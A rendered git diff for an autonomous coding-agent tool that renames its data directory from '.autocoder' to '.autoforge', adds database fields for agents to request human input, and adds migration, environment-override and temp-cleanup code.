# Check if all features are already complete (before starting a new session)
|
||||||
# Skip this check if running as initializer (needs to create features first)
|
# Skip this check if running as initializer (needs to create features first)
|
||||||
if not is_initializer and iteration == 1:
|
if not is_initializer and iteration == 1:
|
||||||
passing, in_progress, total = count_passing_tests(project_dir)
|
passing, in_progress, total, _nhi = count_passing_tests(project_dir)
|
||||||
if total > 0 and passing == total:
|
if total > 0 and passing == total:
|
||||||
print("\n" + "=" * 70)
|
print("\n" + "=" * 70)
|
||||||
print(" ALL FEATURES ALREADY COMPLETE!")
|
print(" ALL FEATURES ALREADY COMPLETE!")
|
||||||
@@ -240,17 +259,7 @@ async def run_autonomous_agent(
|
|||||||
print_session_header(iteration, is_initializer)
|
print_session_header(iteration, is_initializer)
|
||||||
|
|
||||||
# Create client (fresh context)
|
# Create client (fresh context)
|
||||||
# Pass agent_id for browser isolation in multi-agent scenarios
|
client = create_client(project_dir, model, yolo_mode=yolo_mode, agent_type=agent_type)
|
||||||
import os
|
|
||||||
if agent_type == "testing":
|
|
||||||
agent_id = f"testing-{os.getpid()}" # Unique ID for testing agents
|
|
||||||
elif feature_ids and len(feature_ids) > 1:
|
|
||||||
agent_id = f"batch-{feature_ids[0]}"
|
|
||||||
elif feature_id:
|
|
||||||
agent_id = f"feature-{feature_id}"
|
|
||||||
else:
|
|
||||||
agent_id = None
|
|
||||||
client = create_client(project_dir, model, yolo_mode=yolo_mode, agent_id=agent_id, agent_type=agent_type)
|
|
||||||
|
|
||||||
# Choose prompt based on agent type
|
# Choose prompt based on agent type
|
||||||
if agent_type == "initializer":
|
if agent_type == "initializer":
|
||||||
@@ -358,7 +367,7 @@ async def run_autonomous_agent(
|
|||||||
print_progress_summary(project_dir)
|
print_progress_summary(project_dir)
|
||||||
|
|
||||||
# Check if all features are complete - exit gracefully if done
|
# Check if all features are complete - exit gracefully if done
|
||||||
passing, in_progress, total = count_passing_tests(project_dir)
|
passing, in_progress, total, _nhi = count_passing_tests(project_dir)
|
||||||
if total > 0 and passing == total:
|
if total > 0 and passing == total:
|
||||||
print("\n" + "=" * 70)
|
print("\n" + "=" * 70)
|
||||||
print(" ALL FEATURES COMPLETE!")
|
print(" ALL FEATURES COMPLETE!")
|
||||||
|
|||||||
@@ -43,10 +43,10 @@ class Feature(Base):
|
|||||||
|
|
||||||
__tablename__ = "features"
|
__tablename__ = "features"
|
||||||
|
|
||||||
# Composite index for common status query pattern (passes, in_progress)
|
# Composite index for common status query pattern (passes, in_progress, needs_human_input)
|
||||||
# Used by feature_get_stats, get_ready_features, and other status queries
|
# Used by feature_get_stats, get_ready_features, and other status queries
|
||||||
__table_args__ = (
|
__table_args__ = (
|
||||||
Index('ix_feature_status', 'passes', 'in_progress'),
|
Index('ix_feature_status', 'passes', 'in_progress', 'needs_human_input'),
|
||||||
)
|
)
|
||||||
|
|
||||||
id = Column(Integer, primary_key=True, index=True)
|
id = Column(Integer, primary_key=True, index=True)
|
||||||
@@ -61,6 +61,11 @@ class Feature(Base):
|
|||||||
# NULL/empty = no dependencies (backwards compatible)
|
# NULL/empty = no dependencies (backwards compatible)
|
||||||
dependencies = Column(JSON, nullable=True, default=None)
|
dependencies = Column(JSON, nullable=True, default=None)
|
||||||
|
|
||||||
|
# Human input: agent can request structured input from a human
|
||||||
|
needs_human_input = Column(Boolean, nullable=False, default=False, index=True)
|
||||||
|
human_input_request = Column(JSON, nullable=True, default=None) # Agent's structured request
|
||||||
|
human_input_response = Column(JSON, nullable=True, default=None) # Human's response
|
||||||
|
|
||||||
def to_dict(self) -> dict:
|
def to_dict(self) -> dict:
|
||||||
"""Convert feature to dictionary for JSON serialization."""
|
"""Convert feature to dictionary for JSON serialization."""
|
||||||
return {
|
return {
|
||||||
@@ -75,6 +80,10 @@ class Feature(Base):
|
|||||||
"in_progress": self.in_progress if self.in_progress is not None else False,
|
"in_progress": self.in_progress if self.in_progress is not None else False,
|
||||||
# Dependencies: NULL/empty treated as empty list for backwards compat
|
# Dependencies: NULL/empty treated as empty list for backwards compat
|
||||||
"dependencies": self.dependencies if self.dependencies else [],
|
"dependencies": self.dependencies if self.dependencies else [],
|
||||||
|
# Human input fields
|
||||||
|
"needs_human_input": self.needs_human_input if self.needs_human_input is not None else False,
|
||||||
|
"human_input_request": self.human_input_request,
|
||||||
|
"human_input_response": self.human_input_response,
|
||||||
}
|
}
|
||||||
|
|
||||||
def get_dependencies_safe(self) -> list[int]:
|
def get_dependencies_safe(self) -> list[int]:
|
||||||
@@ -183,7 +192,7 @@ class ScheduleOverride(Base):
|
|||||||
|
|
||||||
def get_database_path(project_dir: Path) -> Path:
|
def get_database_path(project_dir: Path) -> Path:
|
||||||
"""Return the path to the SQLite database for a project."""
|
"""Return the path to the SQLite database for a project."""
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
return get_features_db_path(project_dir)
|
return get_features_db_path(project_dir)
|
||||||
|
|
||||||
|
|
||||||
@@ -302,6 +311,21 @@ def _is_network_path(path: Path) -> bool:
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _migrate_add_human_input_columns(engine) -> None:
|
||||||
|
"""Add human input columns to existing databases that don't have them."""
|
||||||
|
with engine.connect() as conn:
|
||||||
|
result = conn.execute(text("PRAGMA table_info(features)"))
|
||||||
|
columns = [row[1] for row in result.fetchall()]
|
||||||
|
|
||||||
|
if "needs_human_input" not in columns:
|
||||||
|
conn.execute(text("ALTER TABLE features ADD COLUMN needs_human_input BOOLEAN DEFAULT 0"))
|
||||||
|
if "human_input_request" not in columns:
|
||||||
|
conn.execute(text("ALTER TABLE features ADD COLUMN human_input_request TEXT DEFAULT NULL"))
|
||||||
|
if "human_input_response" not in columns:
|
||||||
|
conn.execute(text("ALTER TABLE features ADD COLUMN human_input_response TEXT DEFAULT NULL"))
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
|
||||||
def _migrate_add_schedules_tables(engine) -> None:
|
def _migrate_add_schedules_tables(engine) -> None:
|
||||||
"""Create schedules and schedule_overrides tables if they don't exist."""
|
"""Create schedules and schedule_overrides tables if they don't exist."""
|
||||||
from sqlalchemy import inspect
|
from sqlalchemy import inspect
|
||||||
@@ -385,7 +409,7 @@ def create_database(project_dir: Path) -> tuple:
|
|||||||
|
|
||||||
db_url = get_database_url(project_dir)
|
db_url = get_database_url(project_dir)
|
||||||
|
|
||||||
# Ensure parent directory exists (for .autocoder/ layout)
|
# Ensure parent directory exists (for .autoforge/ layout)
|
||||||
db_path = get_database_path(project_dir)
|
db_path = get_database_path(project_dir)
|
||||||
db_path.parent.mkdir(parents=True, exist_ok=True)
|
db_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
@@ -425,6 +449,7 @@ def create_database(project_dir: Path) -> tuple:
|
|||||||
_migrate_fix_null_boolean_fields(engine)
|
_migrate_fix_null_boolean_fields(engine)
|
||||||
_migrate_add_dependencies_column(engine)
|
_migrate_add_dependencies_column(engine)
|
||||||
_migrate_add_testing_columns(engine)
|
_migrate_add_testing_columns(engine)
|
||||||
|
_migrate_add_human_input_columns(engine)
|
||||||
|
|
||||||
# Migrate to add schedules tables
|
# Migrate to add schedules tables
|
||||||
_migrate_add_schedules_tables(engine)
|
_migrate_add_schedules_tables(engine)
|
||||||
|
|||||||
@@ -1,17 +1,19 @@
|
|||||||
"""
|
"""
|
||||||
Autocoder Path Resolution
|
AutoForge Path Resolution
|
||||||
=========================
|
=========================
|
||||||
|
|
||||||
Central module for resolving paths to autocoder-generated files within a project.
|
Central module for resolving paths to autoforge-generated files within a project.
|
||||||
|
|
||||||
Implements a dual-path resolution strategy for backward compatibility:
|
Implements a tri-path resolution strategy for backward compatibility:
|
||||||
|
|
||||||
1. Check ``project_dir / ".autocoder" / X`` (new layout)
|
1. Check ``project_dir / ".autoforge" / X`` (current layout)
|
||||||
2. Check ``project_dir / X`` (legacy root-level layout)
|
2. Check ``project_dir / ".autocoder" / X`` (legacy layout)
|
||||||
3. Default to the new location for fresh projects
|
3. Check ``project_dir / X`` (legacy root-level layout)
|
||||||
|
4. Default to the new location for fresh projects
|
||||||
|
|
||||||
This allows existing projects with root-level ``features.db``, ``.agent.lock``,
|
This allows existing projects with root-level ``features.db``, ``.agent.lock``,
|
||||||
etc. to keep working while new projects store everything under ``.autocoder/``.
|
etc. to keep working while new projects store everything under ``.autoforge/``.
|
||||||
|
Projects using the old ``.autocoder/`` directory are auto-migrated on next start.
|
||||||
|
|
||||||
The ``migrate_project_layout`` function can move an old-layout project to the
|
The ``migrate_project_layout`` function can move an old-layout project to the
|
||||||
new layout safely, with full integrity checks for SQLite databases.
|
new layout safely, with full integrity checks for SQLite databases.
|
||||||
@@ -25,10 +27,10 @@ from pathlib import Path
|
|||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# .gitignore content written into every .autocoder/ directory
|
# .gitignore content written into every .autoforge/ directory
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
_GITIGNORE_CONTENT = """\
|
_GITIGNORE_CONTENT = """\
|
||||||
# Autocoder runtime files
|
# AutoForge runtime files
|
||||||
features.db
|
features.db
|
||||||
features.db-wal
|
features.db-wal
|
||||||
features.db-shm
|
features.db-shm
|
||||||
@@ -37,10 +39,12 @@ assistant.db-wal
|
|||||||
assistant.db-shm
|
assistant.db-shm
|
||||||
.agent.lock
|
.agent.lock
|
||||||
.devserver.lock
|
.devserver.lock
|
||||||
|
.pause_drain
|
||||||
.claude_settings.json
|
.claude_settings.json
|
||||||
.claude_assistant_settings.json
|
.claude_assistant_settings.json
|
||||||
.claude_settings.expand.*.json
|
.claude_settings.expand.*.json
|
||||||
.progress_cache
|
.progress_cache
|
||||||
|
.migration_version
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@@ -49,15 +53,18 @@ assistant.db-shm
|
|||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
def _resolve_path(project_dir: Path, filename: str) -> Path:
|
def _resolve_path(project_dir: Path, filename: str) -> Path:
|
||||||
"""Resolve a file path using dual-path strategy.
|
"""Resolve a file path using tri-path strategy.
|
||||||
|
|
||||||
Checks the new ``.autocoder/`` location first, then falls back to the
|
Checks the new ``.autoforge/`` location first, then the legacy
|
||||||
legacy root-level location. If neither exists, returns the new location
|
``.autocoder/`` location, then the root-level location. If none exist,
|
||||||
so that newly-created files land in ``.autocoder/``.
|
returns the new location so that newly-created files land in ``.autoforge/``.
|
||||||
"""
|
"""
|
||||||
new = project_dir / ".autocoder" / filename
|
new = project_dir / ".autoforge" / filename
|
||||||
if new.exists():
|
if new.exists():
|
||||||
return new
|
return new
|
||||||
|
legacy = project_dir / ".autocoder" / filename
|
||||||
|
if legacy.exists():
|
||||||
|
return legacy
|
||||||
old = project_dir / filename
|
old = project_dir / filename
|
||||||
if old.exists():
|
if old.exists():
|
||||||
return old
|
return old
|
||||||
@@ -65,14 +72,17 @@ def _resolve_path(project_dir: Path, filename: str) -> Path:
|
|||||||
|
|
||||||
|
|
||||||
def _resolve_dir(project_dir: Path, dirname: str) -> Path:
|
def _resolve_dir(project_dir: Path, dirname: str) -> Path:
|
||||||
"""Resolve a directory path using dual-path strategy.
|
"""Resolve a directory path using tri-path strategy.
|
||||||
|
|
||||||
Same logic as ``_resolve_path`` but intended for directories such as
|
Same logic as ``_resolve_path`` but intended for directories such as
|
||||||
``prompts/``.
|
``prompts/``.
|
||||||
"""
|
"""
|
||||||
new = project_dir / ".autocoder" / dirname
|
new = project_dir / ".autoforge" / dirname
|
||||||
if new.exists():
|
if new.exists():
|
||||||
return new
|
return new
|
||||||
|
legacy = project_dir / ".autocoder" / dirname
|
||||||
|
if legacy.exists():
|
||||||
|
return legacy
|
||||||
old = project_dir / dirname
|
old = project_dir / dirname
|
||||||
if old.exists():
|
if old.exists():
|
||||||
return old
|
return old
|
||||||
@@ -80,27 +90,27 @@ def _resolve_dir(project_dir: Path, dirname: str) -> Path:
|
|||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# .autocoder directory management
|
# .autoforge directory management
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
def get_autocoder_dir(project_dir: Path) -> Path:
|
def get_autoforge_dir(project_dir: Path) -> Path:
|
||||||
"""Return the ``.autocoder`` directory path. Does NOT create it."""
|
"""Return the ``.autoforge`` directory path. Does NOT create it."""
|
||||||
return project_dir / ".autocoder"
|
return project_dir / ".autoforge"
|
||||||
|
|
||||||
|
|
||||||
def ensure_autocoder_dir(project_dir: Path) -> Path:
|
def ensure_autoforge_dir(project_dir: Path) -> Path:
|
||||||
"""Create the ``.autocoder/`` directory (if needed) and write its ``.gitignore``.
|
"""Create the ``.autoforge/`` directory (if needed) and write its ``.gitignore``.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
The path to the ``.autocoder`` directory.
|
The path to the ``.autoforge`` directory.
|
||||||
"""
|
"""
|
||||||
autocoder_dir = get_autocoder_dir(project_dir)
|
autoforge_dir = get_autoforge_dir(project_dir)
|
||||||
autocoder_dir.mkdir(parents=True, exist_ok=True)
|
autoforge_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
gitignore_path = autocoder_dir / ".gitignore"
|
gitignore_path = autoforge_dir / ".gitignore"
|
||||||
gitignore_path.write_text(_GITIGNORE_CONTENT, encoding="utf-8")
|
gitignore_path.write_text(_GITIGNORE_CONTENT, encoding="utf-8")
|
||||||
|
|
||||||
return autocoder_dir
|
return autoforge_dir
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
@@ -137,6 +147,15 @@ def get_claude_assistant_settings_path(project_dir: Path) -> Path:
|
|||||||
return _resolve_path(project_dir, ".claude_assistant_settings.json")
|
return _resolve_path(project_dir, ".claude_assistant_settings.json")
|
||||||
|
|
||||||
|
|
||||||
|
def get_pause_drain_path(project_dir: Path) -> Path:
|
||||||
|
"""Return the path to the ``.pause_drain`` signal file.
|
||||||
|
|
||||||
|
This file is created to request a graceful pause (drain mode).
|
||||||
|
Always uses the new location since it's a transient signal file.
|
||||||
|
"""
|
||||||
|
return project_dir / ".autoforge" / ".pause_drain"
|
||||||
|
|
||||||
|
|
||||||
def get_progress_cache_path(project_dir: Path) -> Path:
|
def get_progress_cache_path(project_dir: Path) -> Path:
|
||||||
"""Resolve the path to ``.progress_cache``."""
|
"""Resolve the path to ``.progress_cache``."""
|
||||||
return _resolve_path(project_dir, ".progress_cache")
|
return _resolve_path(project_dir, ".progress_cache")
|
||||||
@@ -154,9 +173,9 @@ def get_prompts_dir(project_dir: Path) -> Path:
|
|||||||
def get_expand_settings_path(project_dir: Path, uuid_hex: str) -> Path:
|
def get_expand_settings_path(project_dir: Path, uuid_hex: str) -> Path:
|
||||||
"""Return the path for an ephemeral expand-session settings file.
|
"""Return the path for an ephemeral expand-session settings file.
|
||||||
|
|
||||||
These files are short-lived and always stored in ``.autocoder/``.
|
These files are short-lived and always stored in ``.autoforge/``.
|
||||||
"""
|
"""
|
||||||
return project_dir / ".autocoder" / f".claude_settings.expand.{uuid_hex}.json"
|
return project_dir / ".autoforge" / f".claude_settings.expand.{uuid_hex}.json"
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
@@ -166,8 +185,9 @@ def get_expand_settings_path(project_dir: Path, uuid_hex: str) -> Path:
|
|||||||
def has_agent_running(project_dir: Path) -> bool:
|
def has_agent_running(project_dir: Path) -> bool:
|
||||||
"""Check whether any agent or dev-server lock file exists at either location.
|
"""Check whether any agent or dev-server lock file exists at either location.
|
||||||
|
|
||||||
Inspects both the legacy root-level paths and the new ``.autocoder/``
|
Inspects the legacy root-level paths, the old ``.autocoder/`` paths, and
|
||||||
paths so that a running agent is detected regardless of project layout.
|
the new ``.autoforge/`` paths so that a running agent is detected
|
||||||
|
regardless of project layout.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
``True`` if any ``.agent.lock`` or ``.devserver.lock`` exists.
|
``True`` if any ``.agent.lock`` or ``.devserver.lock`` exists.
|
||||||
@@ -176,8 +196,11 @@ def has_agent_running(project_dir: Path) -> bool:
|
|||||||
for name in lock_names:
|
for name in lock_names:
|
||||||
if (project_dir / name).exists():
|
if (project_dir / name).exists():
|
||||||
return True
|
return True
|
||||||
|
# Check both old and new directory names for backward compatibility
|
||||||
if (project_dir / ".autocoder" / name).exists():
|
if (project_dir / ".autocoder" / name).exists():
|
||||||
return True
|
return True
|
||||||
|
if (project_dir / ".autoforge" / name).exists():
|
||||||
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
@@ -186,7 +209,7 @@ def has_agent_running(project_dir: Path) -> bool:
|
|||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
def migrate_project_layout(project_dir: Path) -> list[str]:
|
def migrate_project_layout(project_dir: Path) -> list[str]:
|
||||||
"""Migrate a project from the legacy root-level layout to ``.autocoder/``.
|
"""Migrate a project from the legacy root-level layout to ``.autoforge/``.
|
||||||
|
|
||||||
The migration is incremental and safe:
|
The migration is incremental and safe:
|
||||||
|
|
||||||
@@ -199,7 +222,7 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
|||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
A list of human-readable descriptions of what was migrated, e.g.
|
A list of human-readable descriptions of what was migrated, e.g.
|
||||||
``["prompts/ -> .autocoder/prompts/", "features.db -> .autocoder/features.db"]``.
|
``["prompts/ -> .autoforge/prompts/", "features.db -> .autoforge/features.db"]``.
|
||||||
An empty list means nothing was migrated (either everything is
|
An empty list means nothing was migrated (either everything is
|
||||||
already migrated, or the agent is running).
|
already migrated, or the agent is running).
|
||||||
"""
|
"""
|
||||||
@@ -208,18 +231,31 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
|||||||
logger.warning("Migration skipped: agent or dev-server is running for %s", project_dir)
|
logger.warning("Migration skipped: agent or dev-server is running for %s", project_dir)
|
||||||
return []
|
return []
|
||||||
|
|
||||||
autocoder_dir = ensure_autocoder_dir(project_dir)
|
# --- 0. Migrate .autocoder/ → .autoforge/ directory -------------------
|
||||||
migrated: list[str] = []
|
old_autocoder_dir = project_dir / ".autocoder"
|
||||||
|
new_autoforge_dir = project_dir / ".autoforge"
|
||||||
|
if old_autocoder_dir.exists() and old_autocoder_dir.is_dir() and not new_autoforge_dir.exists():
|
||||||
|
try:
|
||||||
|
old_autocoder_dir.rename(new_autoforge_dir)
|
||||||
|
logger.info("Migrated .autocoder/ -> .autoforge/")
|
||||||
|
migrated: list[str] = [".autocoder/ -> .autoforge/"]
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Failed to migrate .autocoder/ -> .autoforge/", exc_info=True)
|
||||||
|
migrated = []
|
||||||
|
else:
|
||||||
|
migrated = []
|
||||||
|
|
||||||
|
autoforge_dir = ensure_autoforge_dir(project_dir)
|
||||||
|
|
||||||
# --- 1. Migrate prompts/ directory -----------------------------------
|
# --- 1. Migrate prompts/ directory -----------------------------------
|
||||||
try:
|
try:
|
||||||
old_prompts = project_dir / "prompts"
|
old_prompts = project_dir / "prompts"
|
||||||
new_prompts = autocoder_dir / "prompts"
|
new_prompts = autoforge_dir / "prompts"
|
||||||
if old_prompts.exists() and old_prompts.is_dir() and not new_prompts.exists():
|
if old_prompts.exists() and old_prompts.is_dir() and not new_prompts.exists():
|
||||||
shutil.copytree(str(old_prompts), str(new_prompts))
|
shutil.copytree(str(old_prompts), str(new_prompts))
|
||||||
shutil.rmtree(str(old_prompts))
|
shutil.rmtree(str(old_prompts))
|
||||||
migrated.append("prompts/ -> .autocoder/prompts/")
|
migrated.append("prompts/ -> .autoforge/prompts/")
|
||||||
logger.info("Migrated prompts/ -> .autocoder/prompts/")
|
logger.info("Migrated prompts/ -> .autoforge/prompts/")
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.warning("Failed to migrate prompts/ directory", exc_info=True)
|
logger.warning("Failed to migrate prompts/ directory", exc_info=True)
|
||||||
|
|
||||||
@@ -228,7 +264,7 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
|||||||
for db_name in db_names:
|
for db_name in db_names:
|
||||||
try:
|
try:
|
||||||
old_db = project_dir / db_name
|
old_db = project_dir / db_name
|
||||||
new_db = autocoder_dir / db_name
|
new_db = autoforge_dir / db_name
|
||||||
if old_db.exists() and not new_db.exists():
|
if old_db.exists() and not new_db.exists():
|
||||||
# Flush WAL to ensure all data is in the main database file
|
# Flush WAL to ensure all data is in the main database file
|
||||||
conn = sqlite3.connect(str(old_db))
|
conn = sqlite3.connect(str(old_db))
|
||||||
@@ -263,8 +299,8 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
|||||||
wal_file = project_dir / f"{db_name}{suffix}"
|
wal_file = project_dir / f"{db_name}{suffix}"
|
||||||
wal_file.unlink(missing_ok=True)
|
wal_file.unlink(missing_ok=True)
|
||||||
|
|
||||||
migrated.append(f"{db_name} -> .autocoder/{db_name}")
|
migrated.append(f"{db_name} -> .autoforge/{db_name}")
|
||||||
logger.info("Migrated %s -> .autocoder/%s", db_name, db_name)
|
logger.info("Migrated %s -> .autoforge/%s", db_name, db_name)
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.warning("Failed to migrate %s", db_name, exc_info=True)
|
logger.warning("Failed to migrate %s", db_name, exc_info=True)
|
||||||
|
|
||||||
@@ -279,11 +315,11 @@ def migrate_project_layout(project_dir: Path) -> list[str]:
|
|||||||
for filename in simple_files:
|
for filename in simple_files:
|
||||||
try:
|
try:
|
||||||
old_file = project_dir / filename
|
old_file = project_dir / filename
|
||||||
new_file = autocoder_dir / filename
|
new_file = autoforge_dir / filename
|
||||||
if old_file.exists() and not new_file.exists():
|
if old_file.exists() and not new_file.exists():
|
||||||
shutil.move(str(old_file), str(new_file))
|
shutil.move(str(old_file), str(new_file))
|
||||||
migrated.append(f"{filename} -> .autocoder/{filename}")
|
migrated.append(f"{filename} -> .autoforge/{filename}")
|
||||||
logger.info("Migrated %s -> .autocoder/%s", filename, filename)
|
logger.info("Migrated %s -> .autoforge/%s", filename, filename)
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.warning("Failed to migrate %s", filename, exc_info=True)
|
logger.warning("Failed to migrate %s", filename, exc_info=True)
|
||||||
|
|
||||||
@@ -44,8 +44,10 @@ from dotenv import load_dotenv
|
|||||||
# IMPORTANT: Must be called BEFORE importing other modules that read env vars at load time
|
# IMPORTANT: Must be called BEFORE importing other modules that read env vars at load time
|
||||||
load_dotenv()
|
load_dotenv()
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
from agent import run_autonomous_agent
|
from agent import run_autonomous_agent
|
||||||
from registry import DEFAULT_MODEL, get_project_path
|
from registry import DEFAULT_MODEL, get_effective_sdk_env, get_project_path
|
||||||
|
|
||||||
|
|
||||||
def parse_args() -> argparse.Namespace:
|
def parse_args() -> argparse.Namespace:
|
||||||
@@ -195,6 +197,14 @@ def main() -> None:
|
|||||||
# Note: Authentication is handled by start.bat/start.sh before this script runs.
|
# Note: Authentication is handled by start.bat/start.sh before this script runs.
|
||||||
# The Claude SDK auto-detects credentials from ~/.claude/.credentials.json
|
# The Claude SDK auto-detects credentials from ~/.claude/.credentials.json
|
||||||
|
|
||||||
|
# Apply UI-configured provider settings to this process's environment.
|
||||||
|
# This ensures CLI-launched agents respect Settings UI provider config (GLM, Ollama, etc.).
|
||||||
|
# Uses setdefault so explicit env vars / .env file take precedence.
|
||||||
|
sdk_overrides = get_effective_sdk_env()
|
||||||
|
for key, value in sdk_overrides.items():
|
||||||
|
if value: # Only set non-empty values (empty values are used to clear conflicts)
|
||||||
|
os.environ.setdefault(key, value)
|
||||||
|
|
||||||
# Handle deprecated --parallel flag
|
# Handle deprecated --parallel flag
|
||||||
if args.parallel is not None:
|
if args.parallel is not None:
|
||||||
print("WARNING: --parallel is deprecated. Use --concurrency instead.", flush=True)
|
print("WARNING: --parallel is deprecated. Use --concurrency instead.", flush=True)
|
||||||
@@ -221,11 +231,17 @@ def main() -> None:
|
|||||||
print("Use an absolute path or register the project first.")
|
print("Use an absolute path or register the project first.")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Migrate project layout to .autocoder/ if needed (idempotent, safe)
|
# Migrate project layout to .autoforge/ if needed (idempotent, safe)
|
||||||
from autocoder_paths import migrate_project_layout
|
from autoforge_paths import migrate_project_layout
|
||||||
migrated = migrate_project_layout(project_dir)
|
migrated = migrate_project_layout(project_dir)
|
||||||
if migrated:
|
if migrated:
|
||||||
print(f"Migrated project files to .autocoder/: {', '.join(migrated)}", flush=True)
|
print(f"Migrated project files to .autoforge/: {', '.join(migrated)}", flush=True)
|
||||||
|
|
||||||
|
# Migrate project to current AutoForge version (idempotent, safe)
|
||||||
|
from prompts import migrate_project_to_current
|
||||||
|
version_migrated = migrate_project_to_current(project_dir)
|
||||||
|
if version_migrated:
|
||||||
|
print(f"Upgraded project: {', '.join(version_migrated)}", flush=True)
|
||||||
|
|
||||||
# Parse batch testing feature IDs (comma-separated string -> list[int])
|
# Parse batch testing feature IDs (comma-separated string -> list[int])
|
||||||
testing_feature_ids: list[int] | None = None
|
testing_feature_ids: list[int] | None = None
|
||||||
@@ -263,6 +279,17 @@ def main() -> None:
|
|||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
# Entry point mode - always use unified orchestrator
|
# Entry point mode - always use unified orchestrator
|
||||||
|
# Clean up stale temp files before starting (prevents temp folder bloat)
|
||||||
|
from temp_cleanup import cleanup_stale_temp
|
||||||
|
cleanup_stats = cleanup_stale_temp()
|
||||||
|
if cleanup_stats["dirs_deleted"] > 0 or cleanup_stats["files_deleted"] > 0:
|
||||||
|
mb_freed = cleanup_stats["bytes_freed"] / (1024 * 1024)
|
||||||
|
print(
|
||||||
|
f"[CLEANUP] Removed {cleanup_stats['dirs_deleted']} dirs, "
|
||||||
|
f"{cleanup_stats['files_deleted']} files ({mb_freed:.1f} MB freed)",
|
||||||
|
flush=True,
|
||||||
|
)
|
||||||
|
|
||||||
from parallel_orchestrator import run_parallel_orchestrator
|
from parallel_orchestrator import run_parallel_orchestrator
|
||||||
|
|
||||||
# Clamp concurrency to valid range (1-5)
|
# Clamp concurrency to valid range (1-5)
|
||||||
|
|||||||
3
bin/autoforge.js
Executable file
3
bin/autoforge.js
Executable file
@@ -0,0 +1,3 @@
|
|||||||
|
#!/usr/bin/env node
|
||||||
|
import { run } from '../lib/cli.js';
|
||||||
|
run(process.argv.slice(2));
|
||||||
166
client.py
166
client.py
@@ -16,22 +16,11 @@ from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
|
|||||||
from claude_agent_sdk.types import HookContext, HookInput, HookMatcher, SyncHookJSONOutput
|
from claude_agent_sdk.types import HookContext, HookInput, HookMatcher, SyncHookJSONOutput
|
||||||
from dotenv import load_dotenv
|
from dotenv import load_dotenv
|
||||||
|
|
||||||
from env_constants import API_ENV_VARS
|
|
||||||
from security import SENSITIVE_DIRECTORIES, bash_security_hook
|
from security import SENSITIVE_DIRECTORIES, bash_security_hook
|
||||||
|
|
||||||
# Load environment variables from .env file if present
|
# Load environment variables from .env file if present
|
||||||
load_dotenv()
|
load_dotenv()
|
||||||
|
|
||||||
# Default Playwright headless mode - can be overridden via PLAYWRIGHT_HEADLESS env var
|
|
||||||
# When True, browser runs invisibly in background (default - saves CPU)
|
|
||||||
# When False, browser window is visible (useful for monitoring agent progress)
|
|
||||||
DEFAULT_PLAYWRIGHT_HEADLESS = True
|
|
||||||
|
|
||||||
# Default browser for Playwright - can be overridden via PLAYWRIGHT_BROWSER env var
|
|
||||||
# Options: chrome, firefox, webkit, msedge
|
|
||||||
# Firefox is recommended for lower CPU usage
|
|
||||||
DEFAULT_PLAYWRIGHT_BROWSER = "firefox"
|
|
||||||
|
|
||||||
# Extra read paths for cross-project file access (read-only)
|
# Extra read paths for cross-project file access (read-only)
|
||||||
# Set EXTRA_READ_PATHS environment variable with comma-separated absolute paths
|
# Set EXTRA_READ_PATHS environment variable with comma-separated absolute paths
|
||||||
# Example: EXTRA_READ_PATHS=/Volumes/Data/dev,/Users/shared/libs
|
# Example: EXTRA_READ_PATHS=/Volumes/Data/dev,/Users/shared/libs
|
||||||
@@ -42,12 +31,14 @@ EXTRA_READ_PATHS_VAR = "EXTRA_READ_PATHS"
|
|||||||
# this blocklist and the filesystem browser API share a single source of truth.
|
# this blocklist and the filesystem browser API share a single source of truth.
|
||||||
EXTRA_READ_PATHS_BLOCKLIST = SENSITIVE_DIRECTORIES
|
EXTRA_READ_PATHS_BLOCKLIST = SENSITIVE_DIRECTORIES
|
||||||
|
|
||||||
|
|
||||||
def convert_model_for_vertex(model: str) -> str:
|
def convert_model_for_vertex(model: str) -> str:
|
||||||
"""
|
"""
|
||||||
Convert model name format for Vertex AI compatibility.
|
Convert model name format for Vertex AI compatibility.
|
||||||
|
|
||||||
Vertex AI uses @ to separate model name from version (e.g., claude-opus-4-5@20251101)
|
Vertex AI uses @ to separate model name from version (e.g., claude-sonnet-4-5@20250929)
|
||||||
while the Anthropic API uses - (e.g., claude-opus-4-5-20251101).
|
while the Anthropic API uses - (e.g., claude-sonnet-4-5-20250929).
|
||||||
|
Models without a date suffix (e.g., claude-opus-4-6) pass through unchanged.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
